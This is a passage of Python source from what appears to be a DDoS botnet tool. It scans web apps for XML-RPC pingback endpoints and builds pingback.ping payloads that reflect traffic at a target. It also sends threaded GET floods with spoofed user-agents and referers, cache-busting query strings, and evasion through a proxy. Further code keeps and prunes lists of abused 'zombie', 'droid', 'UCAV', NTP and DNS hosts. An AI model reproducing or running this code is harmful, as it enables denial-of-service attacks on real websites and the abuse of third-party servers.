  3364. t = urlparse(url)
  3365. name_droid = t.netloc
  3366. if name_droid == "":
  3367. name_droid = droid
  3368. print("[Info] [Droids] Attacking from: " + name_droid)
  3369. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3370. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  3371. try:
  3372. if options.proxy: # set proxy
  3373. self.proxy_transport(options.proxy)
  3374. if self.options.timeout: # set timeout
  3375. try:
  3376. droid_timeout = int(self.options.timeout)
  3377. except:
  3378. droid_timeout = 5
  3379. else:
  3380. droid_timeout = 5
  3381. if droid_timeout < 1:
  3382. droid_timeout = 5
  3383. req = urllib.request.Request(url, None, headers)
  3384. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  3385. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  3386. except Exception:
  3387. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  3388. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3389. if not self.options.disablepurge:
  3390. self.discard_droids.append(droid)
  3391. self.num_discard_droids = self.num_discard_droids + 1
  3392. else:
  3393. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  3394. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3395. if not self.options.disablepurge:
  3396. self.discard_droids.append(droid)
  3397. self.num_discard_droids = self.num_discard_droids + 1
  3398. if self.options.verbose:
  3399. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  3400. if self.options.disablerpcs and self.options.disableucavs:
  3401. self.extra_zombies_lock = False # [ARMY] have finished
  3402. def extract_droids(self):
  3403. # extract droids from file
  3404. options = self.options
  3405. try:
  3406. f = open(self.droids_file)
  3407. droids = f.readlines()
  3408. droids = [ droid.replace('\n','') for droid in droids ]
  3409. f.close()
  3410. if not droids:
  3411. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3412. self.options.disabledroids = True
  3413. return
  3414. else:
  3415. return droids
  3416. except:
  3417. if os.path.exists(self.droids_file) == True:
  3418. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3419. return #sys.exit(2)
  3420. else:
  3421. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3422. return #sys.exit(2)
  3423. def discarding_rpcs(self, rpc, rpcs):
  3424. if rpc in self.discard_rpcs:
  3425. rpcs.remove(rpc)
  3426. if self.options.verbose:
  3427. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  3428. return rpcs
  3429. def send_rpcs(self, rpcs):
  3430. # extract vulnerable XML-RPC pingback services and perform requests against target
  3431. time.sleep(4) # aiming (multi-threading flow time compensation)
  3432. if not self.options.disablepurge:
  3433. if not rpcs: # return when not any working
  3434. self.options.disablerpcs = True
  3435. return
  3436. target = self.options.target
  3437. options = self.options
  3438. def random_key(length):
  3439. key = ''
  3440. for i in range(length):
  3441. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  3442. return key
  3443. shuffle(rpcs) # shuffle rpcs
  3444. if not self.options.disablepurge:
  3445. for rpc in rpcs:
  3446. if not rpc.startswith('http'): # discarded inmediately
  3447. if not self.options.disablepurge:
  3448. self.discard_rpcs.append(rpc)
  3449. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3450. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3451. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  3452. if not self.options.disablepurge:
  3453. if not rpcs: # return when not any working
  3454. self.options.disablerpcs = True
  3455. return
  3456. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  3457. for rpc in rpcs:
  3458. t = urlparse(rpc)
  3459. name_rpc = t.netloc
  3460. if name_rpc == "":
  3461. name_rpc = rpc
  3462. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  3463. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3464. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3465. key = random_key(8) # generate random value page to bypass cache
  3466. rpc_page = "?" + str(key)
  3467. key = random_key(6) # re-generate random value id to bypass cache
  3468. rpc_id = "=" + str(key)
  3469. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  3470. if "/xmlrpc.php" in rpc:
  3471. rpc_place = rpc.replace("xmlrpc.php", "")
  3472. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  3473. try:
  3474. if options.proxy: # set proxy
  3475. self.proxy_transport(options.proxy)
  3476. if self.options.timeout: # set timeout
  3477. try:
  3478. rpc_timeout = int(self.options.timeout)
  3479. except:
  3480. rpc_timeout = 5
  3481. else:
  3482. rpc_timeout = 5
  3483. if rpc_timeout < 1:
  3484. rpc_timeout = 5
  3485. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  3486. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  3487. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  3488. if self.options.verbose:
  3489. print("[Info] [X-RPCs] Reply:", target_reply)
  3490. except:
  3491. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  3492. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3493. if not self.options.disablepurge:
  3494. self.discard_rpcs.append(rpc)
  3495. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3496. else:
  3497. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  3498. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3499. if not self.options.disablepurge:
  3500. self.discard_rpcs.append(rpc)
  3501. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3502. if self.options.verbose:
  3503. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  3504. if self.options.disableucavs:
  3505. self.extra_zombies_lock = False # [ARMY] have finished
  3506. def extract_rpcs(self):
  3507. # extract rpcs from file
  3508. options = self.options
  3509. try:
  3510. f = open(self.rpcs_file)
  3511. rpcs = f.readlines()
  3512. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  3513. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  3514. f.close()
  3515. if not rpcs:
  3516. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3517. self.options.disablerpcs = True
  3518. return
  3519. else:
  3520. return rpcs
  3521. except:
  3522. if os.path.exists(self.rpcs_file) == True:
  3523. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3524. return
  3525. else:
  3526. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  3527. return
  3528. def extract_ntps(self):
  3529. # extract ntps from file
  3530. options = self.options
  3531. try:
  3532. f = open(self.ntps_file)
  3533. ntps = f.readlines()
  3534. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  3535. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  3536. f.close()
  3537. if not ntps:
  3538. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3539. return
  3540. else:
  3541. return ntps
  3542. except:
  3543. if os.path.exists(self.ntps_file) == True:
  3544. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")
  3545. return
  3546. else:
  3547. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntps.txt' [Discarding!]")
  3548. return
  3549. def extract_dnss(self):
  3550. # extract dnss from file
  3551. options = self.options
  3552. try:
  3553. f = open(self.dnss_file)
  3554. dnss = f.readlines()
  3555. dnss = [ dns.replace('\r','') for dns in dnss ]
  3556. dnss = [ dns.replace('\n','') for dns in dnss ]
  3557. f.close()
  3558. if not dnss:
  3559. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3560. return
  3561. else:
  3562. return dnss
  3563. except:
  3564. if os.path.exists(self.dnss_file) == True:
  3565. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")
  3566. return
  3567. else:
  3568. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dnss.txt' [Discarding!]")
  3569. return
  3570. def extract_zombies(self):
  3571. options = self.options
  3572. if self.options.test:
  3573. try:
  3574. f = open(options.test)
  3575. zombies = f.readlines()
  3576. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3577. f.close()
  3578. if not zombies:
  3579. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3580. return
  3581. else:
  3582. return zombies
  3583. except:
  3584. if os.path.exists(options.test) == True:
  3585. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3586. return #sys.exit(2)
  3587. else:
  3588. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3589. return #sys.exit(2)
  3590. else:
  3591. try:
  3592. f = open(self.zombies_file)
  3593. zombies = f.readlines()
  3594. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3595. f.close()
  3596. if not zombies:
  3597. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3598. return
  3599. else:
  3600. return zombies
  3601. except:
  3602. if os.path.exists(self.zombies_file) == True:
  3603. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3604. return #sys.exit(2)
  3605. else:
  3606. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3607. return #sys.exit(2)
  3608. def extract_target_list(self):
  3609. options = self.options
  3610. try:
  3611. f = open(options.target_list)
  3612. targets = f.readlines()
  3613. targets = [ target.replace('\n','') for target in targets ]
  3614. f.close()
  3615. if not targets:
  3616. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3617. return
  3618. else:
  3619. return targets
  3620. except:
  3621. if os.path.exists(options.target_list) == True:
  3622. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3623. return #sys.exit(2)
  3624. else:
  3625. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  3626. return #sys.exit(2)
  3627. def update_zombies(self, zombies_ready):
  3628. # update zombies on file
  3629. options = self.options
  3630. if options.attackme:
  3631. f = open(self.zombies_file, "w") # re-write list
  3632. for zombie in self.doll.real_zombies: # add only alien verified zombies
  3633. for x in zombie:
  3634. f.write(str(x) + os.linesep)
  3635. f.close()
  3636. if options.test or options.testall:
  3637. if not options.test:
  3638. options.test = self.zombies_file
  3639. f = open(options.test, "w") # re-write list only with zombies ready
  3640. for zombie in zombies_ready:
  3641. f.write(zombie + os.linesep)
  3642. f.close()
  3643. if options.search or options.dorks or options.autosearch or options.download or options.download_github: # append only new zombies to list (dorking supported)
  3644. f = open(self.zombies_file)
  3645. zombies_on_file = f.read().splitlines()
  3646. with open(self.zombies_file, "a") as zombie_list:
  3647. for zombie in zombies_ready:
  3648. if zombie not in zombies_on_file: # parse possible repetitions
  3649. zombie_list.write(zombie + os.linesep)
  3650. if options.download or options.download_github:
  3651. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3652. else:
  3653. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  3654. f.close()
  3655. def update_aliens(self, aliens_ready):
  3656. # update aliens on file
  3657. options = self.options
  3658. if options.download or options.download_github: # append only new aliens to list
  3659. f = open(self.aliens_file)
  3660. aliens_on_file = f.read().splitlines()
  3661. with open(self.aliens_file, "a") as alien_list:
  3662. for alien in aliens_ready:
  3663. if alien not in aliens_on_file: # parse possible repetitions
  3664. alien_list.write(alien + os.linesep)
  3665. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3666. f.close()
  3667. def update_droids(self, droids_ready):
  3668. # update droids on file
  3669. options = self.options
  3670. if options.download or options.download_github: # append only new droids to list
  3671. f = open(self.droids_file)
  3672. droids_on_file = f.read().splitlines()
  3673. with open(self.droids_file, "a") as droid_list:
  3674. for droid in droids_ready:
  3675. if droid not in droids_on_file: # parse possible repetitions
  3676. droid_list.write(droid + os.linesep)
  3677. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3678. f.close()
  3679. def update_ucavs(self, ucavs_ready):
  3680. # update ucavs on file
  3681. options = self.options
  3682. if options.download or options.download_github: # append only new ucavs to list
  3683. f = open(self.ucavs_file)
  3684. ucavs_on_file = f.read().splitlines()
  3685. with open(self.ucavs_file, "a") as ucav_list:
  3686. for ucav in ucavs_ready:
  3687. if ucav not in ucavs_on_file: # parse possible repetitions
  3688. ucav_list.write(ucav + os.linesep)
  3689. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3690. f.close()
  3691. def update_rpcs(self, rpcs_ready):
  3692. # update rpcs on file
  3693. options = self.options
  3694. if options.testrpc or options.testall:
  3695. f = open(self.rpcs_file, "w") # re-write list
  3696. for rpc in rpcs_ready: # add only rpc verified zombies
  3697. f.write(rpc + os.linesep)
  3698. f.close()
  3699. if options.download or options.download_github: # append only new rpcs to list
  3700. f = open(self.rpcs_file)
  3701. rpcs_on_file = f.read().splitlines()
  3702. with open(self.rpcs_file, "a") as rpc_list:
  3703. for rpc in rpcs_ready:
  3704. if rpc not in rpcs_on_file: # parse possible repetitions
  3705. rpc_list.write(rpc + os.linesep)
  3706. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3707. f.close()
  3708. def update_dnss(self, dnss_ready):
  3709. # update dns on file
  3710. options = self.options
  3711. if options.download or options.download_github: # append only new dns to list
  3712. f = open(self.dnss_file)
  3713. dnss_on_file = f.read().splitlines()
  3714. with open(self.dnss_file, "a") as dns_list:
  3715. for dns in dnss_ready:
  3716. if dns not in dnss_on_file: # parse possible repetitions
  3717. dns_list.write(dns + os.linesep)
  3718. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3719. f.close()
  3720. def update_ntps(self, ntps_ready):
  3721. # update ntps on file
  3722. options = self.options
  3723. if options.download or options.download_github: # append only new ntps to list
  3724. f = open(self.ntps_file)
  3725. ntps_on_file = f.read().splitlines()
  3726. with open(self.ntps_file, "a") as ntp_list:
  3727. for ntp in ntps_ready:
  3728. if ntp not in ntps_on_file: # parse possible repetitions
  3729. ntp_list.write(ntp + os.linesep)
  3730. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  3731. f.close()
  3732. def search_rpc(self, rpc_host):
  3733. options = self.options
  3734. rpc_vulnerable = False
  3735. rpc_pingback_url = False
  3736. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3737. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3738. try:
  3739. if self.options.testall: # testing_all
  3740. if options.proxy: # set proxy
  3741. self.proxy_transport(options.proxy)
  3742. req = urllib.request.Request(rpc_host, None, headers)
  3743. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3744. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3745. for link in rpc_links:
  3746. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3747. rpc_pingback_url = link[0]
  3748. rpc_vulnerable = True
  3749. break # found it!
  3750. else: # not any XML-RPC discovering methods are working
  3751. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3752. rpc_vulnerable = False
  3753. else:
  3754. if rpc_host.startswith("http://"):
  3755. rpc_host = rpc_host.replace("http://", "")
  3756. if rpc_host.startswith("https://"):
  3757. rpc_host = rpc_host.replace("https://", "")
  3758. rpc_host = urlparse(rpc_host)
  3759. rpc_path = rpc_host.path.replace("\r", "")
  3760. self.head = True # send HTTP HEAD request searching for: X-Pingback
  3761. reply = self.connect_zombie(rpc_path)
  3762. self.head = False
  3763. if "X-Pingback" in reply: # discovering pingback-enabled resources
  3764. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  3765. rpc_pingback_url = m.group(1) # extract rpc server url
  3766. rpc_vulnerable = True
  3767. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  3768. if options.proxy: # set proxy
  3769. self.proxy_transport(options.proxy)
  3770. req_rpc = urllib.request.Request(rpc_host, None, headers)
  3771. req_rpc.get_method = lambda : 'GET'
  3772. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  3773. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  3774. for link in rpc_links:
  3775. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  3776. rpc_pingback_url = link[0]
  3777. rpc_vulnerable = True
  3778. break # found it!
  3779. else: # not any XML-RPC discovering methods are working
  3780. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  3781. rpc_vulnerable = False
  3782. except: # something wrong discovering XML-RPC Pingback
  3783. pass
  3784. return rpc_vulnerable, rpc_pingback_url
  3785. def testing_offline(self):
  3786. # check for zombies offline
  3787. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  3788. print('='*35)
  3789. zombies_online = 0
  3790. zombies_offline = 0
  3791. zombies = self.extract_zombies()
  3792. rpcs = self.extract_rpcs()
  3793. aliens = self.extract_aliens()
  3794. droids = self.extract_droids()
  3795. ucavs = self.extract_ucavs()
  3796. try:
  3797. botnet = zombies + rpcs + aliens + droids + ucavs
  3798. except:
  3799. return
  3800. discarded = [] # for discarded zombies
  3801. if not botnet:
  3802. return
  3803. self.head = True
  3804. for zombie in botnet:
  3805. zombie = str(zombie)
  3806. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  3807. zombie_type = 'Zombie'
  3808. elif zombie in rpcs:
  3809. zombie_type = 'XML-RPC'
  3810. elif zombie in aliens:
  3811. zombie_type = 'Alien'
  3812. elif zombie in droids:
  3813. zombie_type = 'Droid'
  3814. elif zombie in ucavs:
  3815. zombie_type = 'UCAV'
  3816. t = urlparse(zombie)
  3817. name_zombie = t.netloc
  3818. if name_zombie == "":
  3819. name_zombie = zombie
  3820. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  3821. sep = ';$POST;'
  3822. zombie = zombie.split(sep, 1)[0]
  3823. try:
  3824. reply = str(self.connect_zombie(zombie))
  3825. except:
  3826. reply = None
  3827. if reply:
  3828. if reply == "200" or reply == "301" or reply == "302":
  3829. status = "ONLINE! -> [OK!]"
  3830. else:
  3831. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  3832. zombies_online = zombies_online + 1
  3833. else:
  3834. status = "NOT Working!"
  3835. zombies_offline = zombies_offline + 1
  3836. print("\nName:", name_zombie)
  3837. print("Type: [", zombie_type, "]")
  3838. print("Vector:", zombie)
  3839. print("HTTP Code: [", reply, "]")
  3840. print("STATUS:", status)
  3841. print('-'*21)
  3842. if status == "NOT Working!": # add to discarded zombies
  3843. if zombie not in discarded:
  3844. discarded.append(zombie)
  3845. print("\n" + '='*52)
  3846. print("\n+ Total Botnet:", len(botnet))
  3847. print("\n" + '-'*25 + "\n")
  3848. print(" - ONLINE:", zombies_online)
  3849. print(" - OFFLINE:", zombies_offline, "\n")
  3850. print('='*52 + '\n')
  3851. self.head = False
  3852. if zombies_offline > 0:
  3853. if not self.options.forceyes:
  3854. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  3855. print('-'*25 + "\n")
  3856. else:
  3857. test_reply = "Y"
  3858. if test_reply == "n" or test_reply == "N":
  3859. print("[AI] "+self.exit_msg+"\n")
  3860. return
  3861. else:
  3862. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3863. print('='*52)
  3864. print("\n - DISCARDED:", disc_zombies)
  3865. new_botnet = int(len(botnet) - disc_zombies)
  3866. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  3867. print('='*52 + '\n')
  3868. else:
  3869. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  3870. def send_extra_zombies(self):
  3871. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  3872. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  3873. if self.options.verbose:
  3874. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  3875. aliens = [self.extract_aliens()] # extract aliens from file to a list
  3876. for a in aliens:
  3877. if a is None:
  3878. self.options.disablealiens = True
  3879. self.total_aliens = 0 # not any alien invoked
  3880. else:
  3881. for s in a: # extract number of aliens
  3882. self.total_aliens = self.total_aliens + 1
  3883. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  3884. al.start()
  3885. else:
  3886. self.options.disablealiens = True
  3887. self.total_aliens = 0 # not any alien invoked
  3888. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  3889. if self.options.verbose:
  3890. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  3891. droids = [self.extract_droids()] # extract droids from file to a list
  3892. for d in droids:
  3893. if d is None:
  3894. self.options.disabledroids = True
  3895. self.total_droids = 0 # not any droid invoked
  3896. else:
  3897. for s in d: # extract number of droids
  3898. self.total_droids = self.total_droids + 1
  3899. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  3900. dr.start()
  3901. else:
  3902. self.options.disabledroids = True
  3903. self.total_droids = 0 # not any droid invoked
  3904. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  3905. if self.options.verbose:
  3906. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  3907. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  3908. for r in rpcs:
  3909. if r is None:
  3910. self.options.disablerpcs = True
  3911. self.total_rpcs = 0 # not any rpc invoked
  3912. else:
  3913. for s in r: # extract number of rpcs
  3914. self.total_rpcs = self.total_rpcs + 1
  3915. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  3916. rp.start()
  3917. else:
  3918. self.options.disablerpcs = True
  3919. self.total_rpcs = 0 # not any rpcs invoked
  3920. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  3921. if self.options.verbose:
  3922. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  3923. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  3924. for u in ucavs:
  3925. if u is None:
  3926. self.options.disableucavs = True
  3927. self.total_ucavs = 0 # not any ucav invoked
  3928. else:
  3929. for s in u: # extract number of ucavs
  3930. self.total_ucavs = self.total_ucavs + 1
  3931. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  3932. uc.start()
  3933. else:
  3934. self.options.disableucavs = True
  3935. self.total_ucavs = 0 # not any ucavs invoked
  3936. def abandoning_zombies(self):
  3937. if self.options.expire: # set timing for purge
  3938. try:
  3939. timing = int(self.options.expire)
  3940. except:
  3941. timing = self.expire_timing # default timing for purge
  3942. else:
  3943. timing = self.expire_timing # default timing for purge
  3944. if timing < 1:
  3945. timing = self.expire_timing # default timing for purge
  3946. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3947. zombies_lock = 0
  3948. if self.options.verbose:
  3949. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  3950. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  3951. zombies_lock = zombies_lock + 1
  3952. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3953. if self.options.verbose:
  3954. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  3955. break
  3956. else:
  3957. time.sleep(1)
  3958. def discard_zombies(self, discarded):
  3959. disc_zombies = 0
  3960. if self.options.testoffline:
  3961. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  3962. else:
  3963. zombies_list = [self.zombies_file]
  3964. if not self.options.disablealiens: # add aliens
  3965. zombies_list.append(self.aliens_file)
  3966. if not self.options.disabledroids: # add droids
  3967. zombies_list.append(self.droids_file)
  3968. if not self.options.disablerpcs: # add rpcs
  3969. zombies_list.append(self.rpcs_file)
  3970. if not self.options.disableucavs: # add ucavs
  3971. zombies_list.append(self.ucavs_file)
  3972. for l in zombies_list:
  3973. f = open(l, "r+")
  3974. d = f.readlines()
  3975. f.close()
  3976. f = open(l, "w")
  3977. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  3978. f.close()
  3979. return disc_zombies
  3980. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  3981. m = []
  3982. for zombie in d:
  3983. if zombie not in discarded == True:
  3984. m.append(zombie) # save it
  3985. else:
  3986. disc_zombies = disc_zombies + 1
  3987. if not m:
  3988. f.write("")
  3989. else:
  3990. for z in m:
  3991. f.write(z+os.linesep)
  3992. return disc_zombies
  3993. def testing_rpcs(self, rpcs):
  3994. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  3995. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  3996. options = self.options
  3997. if self.options.testall: #testing_all
  3998. print('='*51)
  3999. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  4000. print('='*51)
  4001. num_active_rpcs = 0
  4002. num_failed_rpcs = 0
  4003. rpcs_ready = []
  4004. print("Trying:", len(rpcs))
  4005. print('-'*21)
  4006. for rpc in rpcs:
  4007. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4008. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4009. if rpc.startswith("http://") or rpc.startswith("https://"):
  4010. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  4011. rpc_host = rpc.replace("/xmlrpc.php", "")
  4012. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  4013. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  4014. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  4015. try:
  4016. if options.proxy: # set proxy
  4017. self.proxy_transport(options.proxy)
  4018. try:
  4019. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  4020. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4021. except:
  4022. if self.options.verbose:
  4023. traceback.print_exc()
  4024. if self.options.verbose:
  4025. print("[Info] [X-RPCs] Reply:", target_reply)
  4026. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  4027. print("[Info] [AI] -> [VULNERABLE!]")
  4028. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  4029. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  4030. else:
  4031. print("[Info] [AI] -> [NOT vulnerable...]")
  4032. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4033. except:
  4034. print("[Info] [AI] -> [NOT vulnerable...]")
  4035. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4036. else:
  4037. print("[Info] [AI] -> [NOT vulnerable...]")
  4038. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  4039. print('-'*21)
  4040. print('='*18)
  4041. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  4042. print('='*18)
  4043. if self.options.testall: # testing_all
  4044. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  4045. else:
  4046. # update 'rpcs' list
  4047. if num_active_rpcs == 0:
  4048. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  4049. return
  4050. else:
  4051. if not self.options.forceyes:
  4052. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  4053. print('-'*25)
  4054. else:
  4055. update_reply = "Y"
  4056. if update_reply == "n" or update_reply == "N":
  4057. print("[AI] "+self.exit_msg+"\n")
  4058. return
  4059. else:
  4060. self.update_rpcs(rpcs_ready)
  4061. if not self.options.upload:
  4062. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4063. def testing(self, zombies):
  4064. # test Open Redirect exploiting and show statistics
  4065. # HTTP HEAD check
  4066. army = 0
  4067. print ("Are 'they' alive? :-) (HEAD Check):")
  4068. print('='*35)
  4069. num_active_zombies = 0
  4070. num_failed_zombies = 0
  4071. active_zombies = []
  4072. print("Trying:", len(zombies))
  4073. print('-'*21)
  4074. for zombie in zombies:
  4075. zombie = str(zombie)
  4076. if zombie.startswith("http://") or zombie.startswith("https://"):
  4077. # send HEAD connection
  4078. self.head = True
  4079. try:
  4080. self.connect_zombies(zombie)
  4081. except:
  4082. pass
  4083. while self.herd.no_more_zombies() == False:
  4084. time.sleep(1)
  4085. for zombie in self.herd.done:
